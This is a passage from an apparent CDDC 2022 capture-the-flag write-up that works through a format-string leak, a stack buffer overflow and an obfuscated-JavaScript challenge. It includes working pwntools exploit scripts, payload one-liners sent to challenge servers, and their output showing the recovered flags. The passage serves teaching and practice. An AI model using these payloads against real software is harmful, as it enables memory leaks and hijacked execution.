 a2c:   48 8d 05 dd 05 20 00    lea    rax,[rip+0x2005dd]        # 201010 &amp;lt;password&amp;gt;
 a33:   48 89 85 e8 fb ff ff    mov    QWORD PTR [rbp-0x418],rax
 a3a:   b8 00 00 00 00          mov    eax,0x0
 a3f:   e8 26 ff ff ff          call   96a &amp;lt;readflag&amp;gt;
 a44:   48 8b 85 e8 fb ff ff    mov    rax,QWORD PTR [rbp-0x418]
 a4b:   48 89 c6                mov    rsi,rax
 a4e:   48 8d 3d 46 01 00 00    lea    rdi,[rip+0x146]        # b9b &amp;lt;_IO_stdin_used+0x1b&amp;gt;
 a55:   b8 00 00 00 00          mov    eax,0x0
 a5a:   e8 91 fd ff ff          call   7f0 &amp;lt;printf@plt&amp;gt;
 a5f:   48 8b 15 ca 05 20 00    mov    rdx,QWORD PTR [rip+0x2005ca]        # 201030 &amp;lt;stdin@GLIBC_2.2.5&amp;gt;
 a66:   48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
 a6d:   be 00 04 00 00          mov    esi,0x400
 a72:   48 89 c7                mov    rdi,rax
 a75:   e8 86 fd ff ff          call   800 &amp;lt;fgets@plt&amp;gt;
 a7a:   48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
 a81:   48 89 c7                mov    rdi,rax
 a84:   b8 00 00 00 00          mov    eax,0x0
 a89:   e8 62 fd ff ff          call   7f0 &amp;lt;printf@plt&amp;gt;
 a8e:   ba 08 00 00 00          mov    edx,0x8
 a93:   48 8d 35 15 01 00 00    lea    rsi,[rip+0x115]        # baf &amp;lt;_IO_stdin_used+0x2f&amp;gt;
 a9a:   48 8d 3d 6f 05 20 00    lea    rdi,[rip+0x20056f]        # 201010 &amp;lt;password&amp;gt;
 aa1:   e8 0a fd ff ff          call   7b0 &amp;lt;strncmp@plt&amp;gt;
 aa6:   85 c0                   test   eax,eax
 aa8:   75 1a                   jne    ac4 &amp;lt;main+0xee&amp;gt;
 aaa:   48 8d 35 8f 05 20 00    lea    rsi,[rip+0x20058f]        # 201040 &amp;lt;flag&amp;gt;
 ab1:   48 8d 3d 00 01 00 00    lea    rdi,[rip+0x100]        # bb8 &amp;lt;_IO_stdin_used+0x38&amp;gt;
 ab8:   b8 00 00 00 00          mov    eax,0x0
 abd:   e8 2e fd ff ff          call   7f0 &amp;lt;printf@plt&amp;gt;
 ac2:   eb 18                   jmp    adc &amp;lt;main+0x106&amp;gt;
 ac4:   48 8d 35 45 05 20 00    lea    rsi,[rip+0x200545]        # 201010 &amp;lt;password&amp;gt;
 acb:   48 8d 3d ed 00 00 00    lea    rdi,[rip+0xed]        # bbf &amp;lt;_IO_stdin_used+0x3f&amp;gt;
 ad2:   b8 00 00 00 00          mov    eax,0x0
 ad7:   e8 14 fd ff ff          call   7f0 &amp;lt;printf@plt&amp;gt;
 adc:   b8 00 00 00 00          mov    eax,0x0
 ae1:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 ae5:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
 aec:   00 00
 aee:   74 05                   je     af5 &amp;lt;main+0x11f&amp;gt;
 af0:   e8 eb fc ff ff          call   7e0 &amp;lt;__stack_chk_fail@plt&amp;gt;
 af5:   c9                      leave
 af6:   c3                      ret
 af7:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
 afe:   00 00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first, I thought maybe we would  overwrite the password variable with &lt;code&gt;weakpass&lt;/code&gt;. The password variable address is initially given before any format string input happens, so we could read that using pwntools, put it on the string along with a format string write, and overwrite the contents of the variable. The execution flow goes into the other branch of the if statement to show the flag&lt;/p&gt;

&lt;p&gt;I tried to access the contents of the input from the format string. This shows that the 8th argument is the start of the contents of the string ('A' = 0x41)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('A'*16+'%x__'*10)"|./fmt
[+] password =&amp;gt; 0x55688a401010
AAAAAAAAAAAAAAAA8b1e1891__0__8b1e18c9__8af2a2b0__92664c00__8af2a3e0__8a401010__41414141__41414141__5f5f7825__
[!] password is P4s$w0rD

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One of the main issue with 64 but addresses is that there are leading null bytes. After some research, I found  &lt;a href="https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html"&gt;https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html&lt;/a&gt;. I could put the address at the back of the payload string. Something like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Write][Padding][Address in Little Endian]\x00\x00… 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We tried putting in the password variable address in the payload and accessing it&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We calculate the argument to read from based on the length of the string&lt;/li&gt;
&lt;li&gt;We have to pad between the different sections of the payload (reading, address) such that things are aligned by a group of 8 bytes. This makes it easier to calculate the argument to read from in the format string. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This here is a rough Proof of Concept&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Starting local process './fmt': pid 4899
('[+] password =&amp;gt; 0x563486e01010\n', '0x563486e01010')
['10', '10', 'e0', '86', '34', '56', '0x', '']
(1801545079,)
[*] Switching to interactive mode
[*] Process './fmt' stopped with exit code 0 (pid 4899)
AAAA0x563486e01010_______\x10V[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ cat fmt.py
from pwn import *
import struct

io = process('./fmt')
#io.sendline('')
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)
slicing = []
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )

print(slicing)

payload = ''
payload += "AAAA" # Posiiton 8
#payload +=  "_______"
payload += "%10$p"
payload += "_______"
#for i in range(4): payload += eval("'\\x"+slicing[i]+"'")
for i in range(0,6):
    payload += eval("'\\x"+slicing[i]+"'")
#payload += "AAAA"
payload += "\x00\x00"

## Writes #####################
wr1 = "weak" #"pass"
iwr1 = struct.unpack("&amp;lt;L",wr1)
print(iwr1)

###
io.sendline(payload)                                                                   
io.interactive()

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Afterwards, I tried making an exploit to overwrite a character of the password variable. I automatically calculated the padding needed to write, as well as for the alignment&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from pwn import *
import struct

io = process('./fmt')                                                                   
#io.sendline('')                                                                        
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)

### Getting Address ############
slicing = []                                                                            
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )                                                                                                                                   print(slicing)                          

## Writes #####################                                                         
pad1 = "%{}c".format(
    ord('w')+ ord('e')*0x100 #+ ord ('a')*0x10000 #+ ord('k')*0x1000000
) # Posiiton 8                                                                          
pad1no = len(pad1) // 8                                                                 
print(pad1no)
write1 = "%{}$n".format(7 + pad1no + (len(pad1) % 8 &amp;gt; 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )

address = ""
for i in range(0,6):
    address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"                                                                   
payload = pad1+ write1 + align +  address                                               
print(payload)
###
io.sendline(payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         
└─$ python2 fmtt/wea.py                                                                 
[+] Starting local process './fmt': pid 6517                                           
 ('[+] password =&amp;gt; 0x563e2cc01010\n', '0x563e2cc01010')                                  
['10', '10', 'c0', '2c', '3e', '56', '0x', '']                                          
8319100072149214583                                                                    
0                                                                                       
%25975c%10$n_---\x10,&amp;gt;V\x00                                                            
 [*] Switching to interactive mode
… 
\x91_---\x10,&amp;gt;V[!] password is we                                                 
[*] Got EOF while reading in interactive
$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On trying to scale this to 4 bytes, the ASCII value of "weak"  or any other 4 letter word becomes too large that it would be very difficult to write and test. &lt;/p&gt;

&lt;p&gt;Not to mention that %n can only write 4 bytes at once, and not 8, so 2 writes are needed. However, we can only put 1 address in the payload, as the terminating characters of the string need to be used. &lt;/p&gt;

&lt;p&gt;Maybe there's another way to do this. On looking at the code, maybe instead of changing code execution, we change the address from the password variable to the flag variable? &lt;/p&gt;

&lt;p&gt;We read in the password variable address, calculate the flag variable using the offsets from the diaassembly (201010 and 201040 respectively), put it in the payload and read it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; a9a:   48 8d 3d 6f 05 20 00    lea    rdi,[rip+0x20056f]        # 201010 &amp;lt;password&amp;gt;
 aa1:   e8 0a fd ff ff          call   7b0 &amp;lt;strncmp@plt&amp;gt;
 aa6:   85 c0                   test   eax,eax
 aa8:   75 1a                   jne    ac4 &amp;lt;main+0xee&amp;gt;
 aaa:   48 8d 35 8f 05 20 00    lea    rsi,[rip+0x20058f]        # 201040 &amp;lt;flag&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ended up working well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from pwn import *
import struct

#io = process('./fmt')
io = remote('13.213.59.167', 7011)
#io.sendline('')
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)

p=eval(passloc) - 0x201010 + 0x201040
pp = "%#x" % p
passloc =pp
slicing = []
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )

print(slicing,pp)

## Writes #####################
wr1 = "weakpass"
iwr1 = struct.unpack("&amp;lt;Q",wr1)[0]
#iwr2 = struct.unpack("&amp;lt;L",wr2)[0]
print(iwr1)
#iwr1=4

###############################

pad1 = "%{}c".format(4) # Posiiton 8
pad1no = len(pad1) // 8
print(pad1no)
write1 = "%{}$s".format(7 + pad1no + (len(pad1) % 8 &amp;gt; 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )


address = ""
for i in range(0,6):
    address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"

payload = pad1+ write1 + align +  address
print(payload)
###
io.sendline(payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Opening connection to 13.213.59.167 on port 7011: Done
('[+] password =&amp;gt; 0x5570ddc01010\n', '0x5570ddc01010')
(['40', '10', 'c0', 'dd', '70', '55', '0x', ''], '0x5570ddc01040')
8319100072149214583
0
%4c%10$s_____---@\x10U\x00
[*] Switching to interactive mode
   \x91CDDC22{B3_c4reful_t0_use_F0rmat_Str1ng!}_____---@\x10U[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{B3\_c4reful\_t0\_use\_F0rmat\_Str1ng!}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Pwn - Simple bof
&lt;/h2&gt;

&lt;p&gt;This is a standard buffer Overflow challenge, can read more on the topic first if you don't understand. Watch LiveOverflow videos or something. &lt;/p&gt;

&lt;p&gt;Firstly, I checked the binary for any protections (of which there are none)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ checksec --file=overwriteme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH     Symbols          FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76) Symbols       No    0               3               overwriteme                                                                                                             ┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         └─$ objdump -d -M intel overwriteme &amp;gt; disassembly.html

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I decompiled it with retdec&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~/.../cddc2022/somesharks $ cat ~/storage/downloads/decompiled/tmp/decompilation/overwriteme.c
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler &amp;lt;info@retdec.com&amp;gt;
//

#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int64_t func(void);

// --------------------- Global Variables ---------------------

struct _IO_FILE * g1 = NULL; // 0x601080
struct _IO_FILE * g2 = NULL; // 0x601090

// ------------------------ Functions -------------------------

// Address range: 0x4008b7 - 0x40092e
int64_t func(void) {
    // 0x4008b7
    printf("Key : ");
    fflush(g1);
    int64_t buf; // bp-24, 0x4008b7
    read(0, &amp;amp;buf, 32);
    int32_t puts_rc; // 0x4008b7
    if (strncmp((char *)&amp;amp;buf, "weakpass", 10) != 0) {
        // 0x40091f
        puts_rc = puts("Login FAILED!!");
    } else {
        // 0x400911
        puts_rc = puts("Login Successful!");
    }
    // 0x40092b
    return puts_rc;
}

// Address range: 0x40092e - 0x40098a
int main(int argc, char ** argv) {
    // 0x40092e
    setvbuf(g1, NULL, 1, 0);
    setvbuf(g2, NULL, 1, 0);
    func();
    return 0;
}

// --------------- Dynamically Linked Functions ---------------

// int fflush(FILE * stream);
// int printf(const char * restrict format, ...);
// int puts(const char * s);
// ssize_t read(int fd, void * buf, size_t nbytes);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 2
~/.../cddc2022/somesharks $ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I tried overflowing the buffer to the RIP&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I put weakpass\x00 to pass the password check (May as well) &lt;/li&gt;
&lt;li&gt;Surprisingly the string doesn't terminate at the null byte, though that's the problem with read() &lt;/li&gt;
&lt;li&gt;The disassembly (from objdump) gives you the address of the function printflag(). I put its full 64 bit address (including leading null bytes) at the end of the payload&lt;/li&gt;
&lt;li&gt;I fuzzed (tested) the padding between the password and the address manually, such that the address would overwrite the RIP (instruction pointer register) 

&lt;ul&gt;
&lt;li&gt;I used gdb to check the registers&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KPLRm-s1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.001.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KPLRm-s1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/Aspose.Words.760bf06b-079e-4f35-9d88-5148e41d6dcb.001.jpeg" alt="" width="" height=""&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00')" &amp;gt; /tmp/t

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ gdb overwriteme
GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&amp;lt;https://www.gnu.org/software/gdb/bugs/&amp;gt;.
Find the GDB manual and other documentation resources online at:
    &amp;lt;http://www.gnu.org/software/gdb/documentation/&amp;gt;.                                   
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from overwriteme...
(No debugging symbols found in overwriteme)
(gdb) run &amp;lt;/tmp/t
Starting program: /home/hacker/Stuff/cddc2022/overwriteme &amp;lt;/tmp/t
Key : Login Successful!
                                                                                        Program received signal SIGSEGV, Segmentation fault.

0x00000a0000400837 in ?? ()
(gdb) q

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ python3 -c "print('weakpass\x00'+'A'*15+'\x37\x08\x40\x00\x00\x00\x00\x00')" | nc 18.141.181.118 7013
Key : Login Successful!
flag : CDDC22{Funct10n_4ddress_Overw1ted_@H_!}

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CDDC22{Funct10n\_4ddress\_Overw1ted\_@H\_!}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Pwn - Unintialised
&lt;/h2&gt;

&lt;p&gt;I lost my writeup stuff, but basically&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;login using password weakpass&lt;/li&gt;
&lt;li&gt;Read flag from file to variable using the 3rd option&lt;/li&gt;
&lt;li&gt;Read flag from variable using 4th option&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Ring 4
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Web - JS more
&lt;/h2&gt;

&lt;p&gt;Firstly, I tried reading the source code of the webpage file given&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ cat js_more.html
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset='utf-8'&amp;gt;
    &amp;lt;title&amp;gt;Execute ME?&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body{background-color:#000000;color:#ffffff;font-weight:bold;font-size:30px}.main{text-align:center;margin-top:40vh}.flag{text-align:center;background-image:linear-gradient(90deg,red,yellow,green,blue,purple);-webkit-background-clip:text;color:transparent;font-weight:bold;font-size:40px;margin:0px 15vw}
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class="main"&amp;gt;
        The Flag is&amp;lt;br /&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;script&amp;gt;
        var _0x1201f9=_0x1a3a;(function(_0x5cb7d3,_0x27d23f){var _0x5eb7a1=_0x1a3a,_0x21409f=_0x5cb7d3();while(!![]){try{var _0x5e597b=-parseInt(_0x5eb7a1(0xee))/0x1+parseInt(_0x5eb7a1(0xef))/0x2*(-parseInt(_0x5eb7a1(0xeb))/0x3)+-parseInt(_0x5eb7a1(0xe7))/0x4*(parseInt(_0x5eb7a1(0xe4))/0x5)+-parseInt(_0x5eb7a1(0xe5))/0x6*(parseInt(_0x5eb7a1(0xf8))/0x7)+-parseInt(_0x5eb7a1(0xe8))/0x8*(parseInt(_0x5eb7a1(0xf4))/0x9)+-parseInt(_0x5eb7a1(0xe2))/0xa*(-parseInt(_0x5eb7a1(0xf0))/0xb)+-parseInt(_0x5eb7a1(0xf5))/0xc*(-parseInt(_0x5eb7a1(0xe1))/0xd);if(_0x5e597b===_0x27d23f)break;else _0x21409f['push'](_0x21409f['shift']());}catch(_0x25f023){_0x21409f['push'](_0x21409f['shift']());}}}(_0x5d00,0x60c52));function fa(_0x407309,_0xac7f0e){var _0x199c6b=_0x1a3a,_0x1fb69f='';for(var _0x301dc4=0x0;_0x301dc4&amp;lt;_0x407309[_0x199c6b(0xf1)];_0x301dc4++){_0x1fb69f+=String[_0x199c6b(0xf9)](_0x407309[_0x301dc4]['charCodeAt']()^_0xac7f0e%0x80);}return _0x1fb69f;}function _0x5d00(){var _0xe6d298=['Btoa','717866rOhIoX','2iUmMYl','16753HTOfbk','length','\x0aThe\x20Flag\x20is&amp;lt;br&amp;gt;','hover','52011QIGRor','6876byriEV','CDDC','main','129213UdXdci','fromCharCode','44707REhrQw','10NLXoNi','getElementsByClassName','10qafWGT','18ivdefL','&amp;lt;div\x20class=\x27flag\x27&amp;gt;','970936XpWFIH','424KAmkcF','&amp;lt;/div&amp;gt;','encode','32106HGwwAO','TWNGTU0mRVNVQkIiTiVWYE1jQVZFUkJOcnpweFZBVkBNUnhNQnklY016YH12U15+dlVBVVMmQk5BUk5hVkMhO0JMXnZWQ1Z9TFJec0NCfEJ2c0ZRQUNebE5FbGFWQmw7QXpWfUFTWnNWQUJCQ0wgVXZ5XnlMTGB6cXlefk1BRVZ2U15VTSVCTkZSZH5DQlZhdkNVUnAlQnNWVUJnTUxOIE0lfHdFQ15jTUIhflZ6JFpBUn9aQSVebU5/RkVNRVJ9dlNRWlZTJW1MY2x9Q3khRk5TUlFNQ15xVUNac01jUk1NUnh9TUMgUVVCZH13J01VQXNOdlwmbE5DUUJzVlVSck1jTiZNJnBOVUJaeExjQlJOUiBSTlJOTkFcLWB3f1Z8cSZad015cHJ2emRCTVVCJ015XVJBeUZ9UEMhf3clbHBNJ1JRQSZ3U0FsYCJNc1JSdnlRUlVTWnNQVUZHVkVCQk14fHlFeUZNVUFWQkNDXVFyRUFScVNGenF5JXpMeV4gTXpeeUElTk1VRUJnQ0JWRk5cUlFWeVptRlwtInd/RmFxJl5hdnl3UlVDWn5NeHwjTSV4dlBMYHpBXEJ6TVJ8VkJ4eH1xemdSRVxSI01BRmBOJXh3TUNsTkFSUkJNJWd2cXlaRXZ5WnJVQmB4QHNCJ056UiZOU05yRVJCRU1zUmxNJlVWVlNaTU16LXlNJVZuTnpsd0ZTbHxFUlJnVkVCP0JzTkVNJnBxTGNCQ0BzUn5NU1lWcnladUxSTn5DQlpxTSdeTUFMZH1MUl55Q1NOYU1VcHlDeV5jVVVsYXdzQjt2elJVQyVWc1ZCXn5McyVyTXhzVVBTVmdQQyVgclJadUJDbH1wJlpuRlwtekNDTkNOU1laTCZsckZcWmdDRWNydlJ4TUJDRmxGXHx9dydOfkJMWVZCQyVsTnpaek15IT9CfyFQUEJBUkVSWn1MJEZWdkxaeXFSQmNQTFpnVnNSfE5CLW1CeSVxTFZgfncnQVJyRUJ8UFNaTlBBUmBMeU53dlItVVZcZ1FNeFpCd3NCV05VcHdBQkJNTGNsYUNTQVlNUng/dnlacU14QnlWRSV1cUNBXldFKSk='];_0x5d00=function(){return _0xe6d298;};return _0x5d00();}function fb(_0xcd3d66,_0x1414b5){return _0x1414b5%0x1f4==0x0&amp;amp;&amp;amp;(_0xcd3d66=atob(_0xcd3d66)),_0xcd3d66=fa(_0xcd3d66,_0x1414b5),_0xcd3d66;}function _0x1a3a(_0x558caf,_0x498ad9){var _0x5d005c=_0x5d00();return _0x1a3a=function(_0x1a3a7e,_0x46c4d8){_0x1a3a7e=_0x1a3a7e-0xe1;var _0x37da4c=_0x5d005c[_0x1a3a7e];return _0x37da4c;},_0x1a3a(_0x558caf,_0x498ad9);}function fc(_0x2f5e4d){var _0x4ea9f2=_0x1a3a;_0x2f5e4d=_0x4ea9f2(0xf2)+_0x2f5e4d+'\x0a',document[_0x4ea9f2(0xe3)](_0x4ea9f2(0xf7))[0x0]['innerHTML']=_0x2f5e4d;}var a='Array',b=_0x1201f9(0xed),c=_0x1201f9(0xf6),d=_0x1201f9(0xec),e=_0x1201f9(0xea),f='',g='',h=_0x1201f9(0xf3),i=0x1388,j=0x0,k=0x0,l=0x0,m=0x3,n=0x2,record=setInterval(function(){g='',j=l%0xa;if(j&amp;lt;0x5)for(k=0x0;k&amp;lt;j;k++){g=g+'.\x20';}else for(k=0x0;k&amp;lt;0xa-j;k++){g=g+'.\x20';}fc(g),l++;},0x3e8);d=atob(d);var decode=setInterval(function(){var _0x17ca40=_0x1201f9;i--,d=fb(d,i),i==0x0&amp;amp;&amp;amp;(clearTimeout(record),clearTimeout(decode),fc(_0x17ca40(0xe6)+d+_0x17ca40(0xe9)));},0xea60);
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The javascript code looks obfuscated, so i deobfuscated it using &lt;a href="https://deobfuscate.io/"&gt;https://deobfuscate.io/&lt;/a&gt;. The interesting parts of the code is the setInterval (record and decode variables). If i trigger it ahead of time (by modifying the code directly), I could show the flag earlier then the 3 days needed to wait for it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var _0x1201f9 = _0x1a3a;
(function (_0x5cb7d3, _0x27d23f) {
  var _0x5eb7a1 = _0x1a3a, _0x21409f = _0x5cb7d3();
  while (true) {
    try {
      var _0x5e597b = -parseInt(_0x5eb7a1(238)) / 1 + parseInt(_0x5eb7a1(239)) / 2 * (-parseInt(_0x5eb7a1(235)) / 3) + -parseInt(_0x5eb7a1(231)) / 4 * (parseInt(_0x5eb7a1(228)) / 5) + -parseInt(_0x5eb7a1(229)) / 6 * (parseInt(_0x5eb7a1(248)) / 7) + -parseInt(_0x5eb7a1(232)) / 8 * (parseInt(_0x5eb7a1(244)) / 9) + -parseInt(_0x5eb7a1(226)) / 10 * (-parseInt(_0x5eb7a1(240)) / 11) + -parseInt(_0x5eb7a1(245)) / 12 * (-parseInt(_0x5eb7a1(225)) / 13);
      if (_0x5e597b === _0x27d23f) break; else _0x21409f.push(_0x21409f.shift());
    } catch (_0x25f023) {
      _0x21409f.push(_0x21409f.shift());
    }
  }
}(_0x5d00, 396370));
function fa(_0x407309, _0xac7f0e) {
  var _0x199c6b = _0x1a3a, _0x1fb69f = "";
  for (var _0x301dc4 = 0; _0x301dc4 &amp;lt; _0x407309[_0x199c6b(241)]; _0x301dc4++) {
    _0x1fb69f += String[_0x199c6b(249)](_0x407309[_0x301dc4].charCodeAt() ^ _0xac7f0e % 128);
  }
  return _0x1fb69f;
}
function _0x5d00() {
  var _0xe6d298 = ["Btoa", "717866rOhIoX", "2iUmMYl", "16753HTOfbk", "length", "\nThe Flag is&amp;lt;br&amp;gt;", "hover", "52011QIGRor", "6876byriEV", "CDDC", "main", "129213UdXdci", "fromCharCode", "44707REhrQw", "10NLXoNi", "getElementsByClassName", "10qafWGT", "18ivdefL", "&amp;lt;div class='flag'&amp;gt;", "970936XpWFIH", "424KAmkcF", "&amp;lt;/div&amp;gt;", "encode", "32106HGwwAO", 